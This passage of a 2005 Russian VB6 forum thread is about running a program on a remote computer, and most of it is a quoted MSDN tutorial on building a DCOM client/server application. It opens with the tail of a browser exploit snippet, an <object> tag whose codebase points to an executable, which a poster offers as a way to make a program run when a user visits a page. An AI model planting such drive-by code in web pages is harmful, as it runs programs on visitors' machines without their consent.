<object  id="oFile" classid="clsid:11111111-1111-1111-1111-111111111111" codebase="путь к файлу"></object>
]]>
</exploit>
</security>
</xml>

где путь к файлу - полный путь к твоейпрограмме

Это сообщение отредактировал(а) Gigabyte - 15.3.2005, 18:46


--------------------

user posted image
user posted image
PM MAIL ICQ   Вверх
amt
Дата 28.3.2005, 22:28 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 249
Регистрация: 26.10.2004
Где: г. Волгоград

Репутация: 3
Всего: 3



Gigabyte!
smile Не совсем понял smile
Цитата
тебе надо лишь что бы пользоватьель зашел на страничку содержащую код:

smile что за страничка, где она должна быть (на моем компе или на удаленном), и какой пользователь на нее должен зайти, если прогу на удаленном компе должен запускать я?
Заранее благодарен.
--------------------
С точки зрения банальной эрудиции не каждый индивидуум способен игнорировать тенденции парадоксальных эмоций.
PM MAIL   Вверх
shilnik
Дата 29.3.2005, 10:24 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 377
Регистрация: 22.12.2003

Репутация: нет
Всего: 1



Я для этого писал DCOM объект. Сервер был W2000Server, клиента пробовал везде. Думаю, что и сервер должен везде работать. Если такой способ интересен, скажи майл, я тебе пример вышлю.


--------------------
каталог товаров qp1
PM MAIL WWW   Вверх
valex13
Дата 29.3.2005, 11:37 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 243
Регистрация: 29.1.2003
Где: Иркук. область, г . Иркутск

Репутация: 1
Всего: 1



shilnik
Вышли мне. Благодарен
PM MAIL ICQ   Вверх
shilnik
Дата 30.3.2005, 06:32 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 377
Регистрация: 22.12.2003

Репутация: нет
Всего: 1



2 valex13 Отправил, смотри майл.

А вообще, вот статья из MSDN, а ленивым еще и написаный пример (правда не совсем по статье, но суть таже):



Цитата
HOWTO: Create a DCOM Client/Server Application
Last reviewed: October 30, 1997
Article ID: Q161837 
The information in this article applies to:
Enterprise Edition of Microsoft Visual Basic, for Windows, version 5.0


SUMMARY
In the Enterprise Edition of Visual Basic for Windows version 5.0, you can use the Distributed Component Object Model (DCOM) to perform client/server operations. This article shows you how to create a client/server application that uses DCOM to retrieve the name of the server.

WARNING: ANY USE BY YOU OF THE CODE PROVIDED IN THIS ARTICLE IS AT YOUR OWN RISK. Microsoft provides this code "as is" without warranty of any kind, either express or implied, including but not limited to the implied warranties of merchantability and/or fitness for a particular purpose.



MORE INFORMATION
This sample was not intended to address multiple user scenarios. If you are attempting to create a DCOM server that will handle multiple users, process callbacks, raise events, or use security then please see the following article in the Microsoft Knowledge Base:


  ARTICLE-ID: Q175510
  TITLE    : FILE: VB5DCOM.EXE: Using Callbacks and WithEvents with DCOM


This is an advanced DCOM demonstration using Visual Basic 5.0.


System Requirements
The following operating systems may be used for DCOM applications:


  Operating System          Server          Client
  ----------------          ------          ------
  WinNT 4.0 Server          YES              YES
  WinNT 4.0 Workstation      YES              YES
  Windows 95                YES:            YES:
                              See Q165101      with DCOM for Win95 files


Prepare the Computer
(While this step is not required, it keeps your project in order.)

Create the following directories on your computer:


  C:\DCOMDemo
  C:\DCOMDemo\Server
  C:\DCOMDemo\Server\Setup
  C:\DCOMDemo\Client
  C:\DCOMDemo\Client\Setup


Create the Server

Start a new Visual Basic Project. In the New Project dialog box, select "ActiveX EXE" and click Open.

Set the following properties:

  Control            Name        Property        Value
  ------------------------------------------------------------------
  Class Module        Class1      (Name)          clsDCOMDemoServer
                                    Instancing      5 - MultiUse



Copy the following code to the Class Module clsDCOMDemoServer:


Код

     Option Explicit



      Public Function ServerTime()
           'Retrieves the time from the server.
           ServerTime = Time
      End Function

      Public Function AddNumbers(x As Integer, y As Integer) As Integer
           'Receives two integers and adds them together.
           AddNumbers = x + y
      End Function

      Public Function SubtractNumbers(x As Integer, y As Integer) _
           As Integer
           'Receives two integers and subtracts the second from the first.
           SubtractNumbers = x - y
      End Function


On the Project menu, click "Project1 Properties."
NOTE: If you saved the project previously or have another project open, the menu item may not be called "Project1." Select the menu item for "Properties."


Click the General tab and set the following properties:

  Project Type:            ActiveX EXE      (Create out-of-process
                                                ActiveX component)

  Startup Object:          (None)            (None required)

  Project Name:            proDCOMDemoServer (Will be used in client
                                                code to define the project
                                                to be used)
  Help File Name:          <Blank>
  Project Help Context ID:  0
  Project Description:      DCOM Demo Project - Server
  Unattended Execution:    <Unchecked>
  Upgrade ActiveX Controls: <Checked>          (Enables upgrading of
                                                ActiveX controls)



Click the Make tab and set the following properties:

  Auto Increment:                    <Checked> (Useful for version
                                                  comparison.)

  Application Title:                  proDCOMDemoServer (Name of the EXE
                                                          that will be
                                                          compiled.)
  Version Information:                <As desired>
  Command Line Arguments:            <Blank>
  Conditional Compilation Arguments:  <Blank>



Click the Compile tab and set the following properties:

  Compile to P-Code:      <Selected>
  Compile to Native Code:  <Not Selected>

  The rest of the options should be unavailable.



Click the Component tab and set the following options:

  Start Mode:            ActiveX Component
  Remote Server Files:    <Checked> (Creates TLB and VBR files)
  Version Compatibility:  Project Compatibility (Keeps GUIDs updated)

  Click OK.



On the File menu, click Save Project As. Save the following files as described:

  Directory            File          Filename              Extension
  ---------------------------------------------------------------------
  C:\DCOMDemo\Server    Class Module  clsDCOMDemoServer    .cls
                          Project        proDCOMDemoServer    .vbp



Select File from the menu, and choose "Make proDCOMDemoServer.exe."

In the Make Project dialog box, save the executable to the

    \DCOMDemo\Server directory.


Select Project from the menu and choose "proDCOMDemoServer

    Properties."


Click the Component tab and confirm that Version Compatibility is

    still set to Project Compatibility.


The file proDCOMDemo.exe appears in the text box at the bottom of the

    Version Compatibility group. In the Compatible ActiveX Component dialog
    box, select the file that you just compiled
    (C:\DCOMDemo\Server\proDCOMDemoServer.exe).



    If it is not there, click on the button with the three ellipses (...)
    and go to step 15. If the file is already in the text box, go to
    step 16.


Click OK to close the "proDCOMDemoServer" - Project Properties

    dialog box.


Open a new project ("File... New Project") and save the changes in the

    server project.


Create the Client

In the New Project dialog box, select "Standard EXE" and click OK.

On the Project menu, click References.

Scroll down in the Available References text box until you see "DCOM Project - Server." Select the box on the left and click OK. Note that the component automatically appears in the "Available References" text box. In Remote OLE Automation, you have to double-click the server executable to register it. In DCOM, the server component is automatically registered.

Insert a Module. Place two CommandButtons, two text boxes, and three labels on Form1. Set the following properties:

  Control        Name              Property        Value
  ------------------------------------------------------------------
  Module          Module1          Name            modDCOMDemoClient

  Form            Form1            Name            frmDCOMDemoClient
                                    Caption          DCOM Demo - Client

  CommandButton  Command1          Name            cmdServerTime
                                    Caption          &Get Server Time

                  Command2          Name            cmdComputeNumbers
                                    Caption          &Compute Numbers

  Text Box        Text1            Name            txtX
                                    TabStop          True
                                    TabIndex        0

                  Text2            Name            txtY
                                    TabStop          True
                                    TabIndex        1

  Label          Label1            Name            lblAnswerAdd
                  Label2            Name            lblAnswerSubtract
                  Label3            Name            lblServerTime

  You may want to add additional labels to the form to serve as captions
  for these labels.



Copy the following code to the Module:


Код

      Option Explicit



      Public oServer As New proDCOMDemoServer.clsDCOMDemoServer

Copy the following code to the frmDCOMDemoClient code window:

Код


      Option Explicit
      Private Sub Form_Load()
           'Set initial values for text boxes.
            txtX.Text = "1"
            txtY.Text = "2"
      End Sub

      Private Sub txtX_GotFocus()
            'Select all the text when the text box gets focus.
            'This makes it easier to change the values.
            txtX.SelStart = 0
            txtX.SelLength = Len(txtX.Text)
      End Sub

      Private Sub txtY_GotFocus()
            'Select all the text when the text box gets focus.
            'This makes it easier to change the values.
            txtY.SelStart = 0
            txtY.SelLength = Len(txtY.Text)
        End Sub

      Private Sub cmdServerTime_Click()
           'Get the time from the server and put it in the
           'lblServerTime label.
           lblServerTime.Caption = oServer.ServerTime
      End Sub

      Private Sub cmdComputeNumbers_Click()
            'Passes the integers to the server and puts the answers in the
            'appropriate labels. The "CInt" is to ensure that you are
            'passing integers, which is what the server is expecting.
            lblAnswerAdd.Caption = oServer.AddNumbers _
                (CInt(txtX.Text), CInt(txtY.Text))
            lblAnswerSubtract.Caption = oServer.SubtractNumbers _
                (CInt(txtX.Text), CInt(txtY.Text))
      End Sub

      Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As _
                Integer)
     'Closes the object when the form unloads.
            Set oServer = Nothing
      End Sub


On the Project menu, click "Project1 Properties."
NOTE: If you saved the project previously or have another project open, the menu item may not be called "Project1." Select the menu item for "Properties."


Click the General tab and set the following properties:

  Project Type:            Standard EXE      (Client is a Standalone
                                                executable)

  Startup Object:          frmDCOMDemoClient  (frmDCOMDemoClient and
                                                the code behind
                                                the form run upon
                                                execution)

  Project Name:            proDCOMDemoClient  (Will be the name of the
                                                client executable)
  Help File Name:          <Blank>
  Project Help Context ID:  0
  Project Description:      DCOM Demo Project - Client
  Unattended Execution:    <Disabled>
  Upgrade ActiveX Controls: <Checked>          (Enables upgrading of
                                                ActiveX controls)



Click the Make tab and set the following properties:

  Auto Increment:                    <Checked> (Useful for Version
                                                checking)

  Application Title:                  proDCOMDemoClient
  Version Information:                <As desired>
  Command Line Arguments:            <Blank>
  Conditional Compilation Arguments:  <Blank>



Click the Compile tab and set the following properties:

  Compile to P-Code:      <Selected>
  Compile to Native Code:  <Not Selected>

  The rest of the options should be unavailable.



Click the Component tab and ensure that all options are disabled. Click OK.

On the File menu, click Save Project As. Save the following files as described:

  Directory          File        Filename              Extension
  ----------------------------------------------------------------
  C:\DCOMDemo\Client  Module      modDCOMDemoClient    .bas
                      Form1        frmDCOMDemoClient    .frm
                      Project      proDCOMDemoClient    .vbp



Test the client by clicking Run or pressing the F5 key. When you click Get Server Time, the current system time appears in the label. When you click Compute Numbers, the sum and the difference between the numbers appear in the appropriate labels. Stop the project.

On the File menu, click "Make proDCOMDemoClient.exe".

In the Make Project dialog box, save the executable to the C:\DCOMDemo\Client directory.

Close your project, and save the changes.

Distribute the Server
You can use the same computer that you developed the application on as your server. However, if you want to distribute your server to another computer, follow these instructions:


Start the Application Setup Wizard by clicking "Start, Programs, Visual Basic 5.0, Application Setup Wizard." (If the "Introduction" dialog box appears, click Next.)

In the Select Project and Options dialog box, click Browse. In the "Locate VB application's .VBP file" dialog box, select C:\DCOMDemo\Server\proDCOMDemoServer.VBP.

Click Open and set the following options:
Rebuild the Project: <Unchecked>

  Options:              Create a Setup Program

  Click Next.



In the Distribution Method dialog box, select "Single Directory" and click Next.

In the Single Directory dialog box, select the C:\DCOMDemo\Server\Setup directory. Click Next.

In the ActiveX Components dialog box, click Next. (Do not select any components. They are not needed for this project.)

In the Confirm Dependencies dialog box, make sure that the Stdole2.tlb file is listed. (If it is not listed, you will have to add it later. It is located in your \Windows\System directory.) Click Next.

In the Shared ActiveX Application dialog box, select "Install as a shared component" and "No" since we are installing this as a DCOM application. Click Next.

In the File Summary dialog box, the Setup Wizard processes your files. When it is finished you will see a list of files that will be included in your project. If the Stdole2.tlb file is not listed, click Add. In the Add Files dialog box, select the file from your system directory. Click Next.

Save the template if desired, and then click Finish.

Connect to the distribution directory from your server and run the Setup.exe file that the Setup Wizard generated.

After the server setup is complete, start the "Dcom Configuration" application by clicking "Start, Run" and type Dcomcnfg.exe in the Run dialog box.
If you do not configure the server class that was just installed, the default configuration is used. For this example, select proDCOMDemoServer.clsDCOMDemoServer and click Properties.


Click the General tab. This tab lists the following information about the application, its name, type, and where it is stored:
Application Name: proDCOMDemoServer.clsDCOMDemoServer Application Type: Local Server

  Local Path:        C:\WINNT\system32\proDCOMDemoServer.exe



Click the Location tab to choose where you want the application to run from. Set the following properties:
Run application on the computer where the data is located <Unchecked>

  Run application on this computer                          <Checked>
  Run application on the following computer                  <Unchecked>



Click the Security tab to set application security. You set Access, Launch, and Configuration permissions from this tab.

Select "Use custom access permissions." Click "Edit," which just became available. In the Registry Value Permissions dialog box, click "Add."

In the Add Users and Groups dialog box, select Everyone, and then click Add. The Add Users and Groups dialog box enables you to allow or deny access to the class to certain individuals or groups.

In Type of Access box, select Allow Access and click OK. The Registry Value Permissions dialog box now reflects that you are allowing access to this class to Everyone. Click OK.

On the Security tab, select "Use custom launch permissions." Click "Edit" which just became available. In the Registry Value Permissions dialog box, click "Add."

In the Add Users and Groups dialog box, select Everyone and then click Add. The Add Users and Groups dialog box enables you to allow or deny certain individuals or groups to launch the class.

In the Type of Access box, select Allow Launch and click OK. The Registry Value Permissions dialog box now reflects that you are allowing Everyone to launch this class. Click OK.

Leave Configure Permissions in the Custom selection.

Click the Identity tab to set the user account that you want to use to run the application. Set the following properties:
The Interactive User <Unselected>

  The Launching User    <Selected>
  This User            <Unselected>



Click OK. When you get back to "Distributed COM Configuration Properties," click OK. The following message should appear: "The operation completed successfully." Click OK.

Distribute the Client

Start the Application Setup Wizard by clicking "Start, Programs, Visual Basic 5.0, Application Setup Wizard." (If the Introduction dialog box appears, click Next.)

In the Select Project and Options dialog box, click Browse. In the "Locate VB application's .VBP file" dialog box, select C:\DCOMDemo\Client\proDCOMDemoClient.VBP.

Click Open and set the following options:
Rebuild the Project: <Unchecked>

  Options:              Create a Setup Program

  Click Next.



In the Missing Dependencies dialog box, click Next. Dependency files are not required for this project. In the Confirm Missing Dependencies dialog box, click Yes.

In the Distribution Method dialog box, select Single Directory and then click Next.

In the Single Directory dialog box, select the C:\DCOMDemo\Client\Setup directory. Click Next.

In the ActiveX Components dialog box, deselect proDCOMDemoServer.exe. You do not need to distribute it with the client.

Click Add Remote. In the Add ActiveX Components dialog box, select C:\DCOMDemo\Server\proDCOMDemoServer.VBR. This file was created when you compiled the server executable. It was created because you checked the Remote Server Files option on the Server's "Properties Component" tab.

Click Open. The Remote Connection Details dialog box appears. Set the following options:

  Remote Transport:  Distributed COM (DCOM)
  Network Address:    <The name of the computer the server will be
                      installed on. Do not include backslashes>

  Click OK. Click Next.



In the Confirm Dependencies dialog box, make sure that the Stdole2.tlb file is listed. (If it is not listed, you will have to add it later. It is located in your \Windows\System directory.) Click Next.

The File Summary dialog box appears and the Setup Wizard processes your files. When it is finished you will see a list of files that will be included in your project. If the Stdole2.tlb file is not listed, click Add. In the Add Files dialog box, select the file from your system directory. Click Next.

Save the template if desired, and then click Finish.

Connect to the distribution directory from your client and run the Setup.exe file that the Setup Wizard generated.

When you run the application from the client, it returns the time of the computer that the server component is on. When you click Compute Numbers, the result of the addition and subtraction of the numbers appears in the text boxes. Try changing the numbers to confirm that everything works, but don't use a very large number because you told that class that you are passing integers.



Присоединённый файл ( Кол-во скачиваний: 1 )
Присоединённый файл  tstDCOM.zip


--------------------
каталог товаров qp1
PM MAIL WWW   Вверх
amt
Дата 30.3.2005, 07:18 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 249
Регистрация: 26.10.2004
Где: г. Волгоград

Репутация: 3
Всего: 3



shilnik
Отправь, плиз. Мой майл есть в моем профиле
--------------------
С точки зрения банальной эрудиции не каждый индивидуум способен игнорировать тенденции парадоксальных эмоций.
PM MAIL   Вверх
shilnik
Дата 30.3.2005, 07:28 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 377
Регистрация: 22.12.2003

Репутация: нет
Всего: 1



Дак теперь уже качайте прикрепленный файл с предыдущего моего поста. Это и есть пример.


--------------------
каталог товаров qp1
PM MAIL WWW   Вверх
Guest
Дата 14.4.2005, 08:13 (ссылка)    |    (голосов: 0) Загрузка ... Загрузка ... Быстрая цитата Цитата


Unregistered











попробуй TCP\IP
  Вверх
amt
Дата 14.4.2005, 08:20 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 249
Регистрация: 26.10.2004
Где: г. Волгоград

Репутация: 3
Всего: 3



А можно по-побробнее?
Плиз! smile
--------------------
С точки зрения банальной эрудиции не каждый индивидуум способен игнорировать тенденции парадоксальных эмоций.
PM MAIL   Вверх
Страницы: (3) [Все] 1 2 3 
Ответ в темуСоздание новой темы Создание опроса
Правила форума "VB6"
Akina

Запрещается!

1. Публиковать ссылки на вскрытые компоненты

2. Обсуждать взлом компонентов и делиться вскрытыми компонентами

  • Литературу по VB обсуждаем здесь
  • Действия модераторов можно обсудить здесь
  • С просьбами о написании курсовой, реферата и т.п. обращаться сюда
  • Вопросы по реализации алгоритмов рассматриваются здесь
  • Используйте теги [code=vb][/code] для подсветки кода. Используйтe чекбокс "транслит" (возле кнопок кодов) если у Вас нет русских шрифтов.


Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, Akina.

 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | VB6 | Следующая тема »


 




[ Время генерации скрипта: 0.0966 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.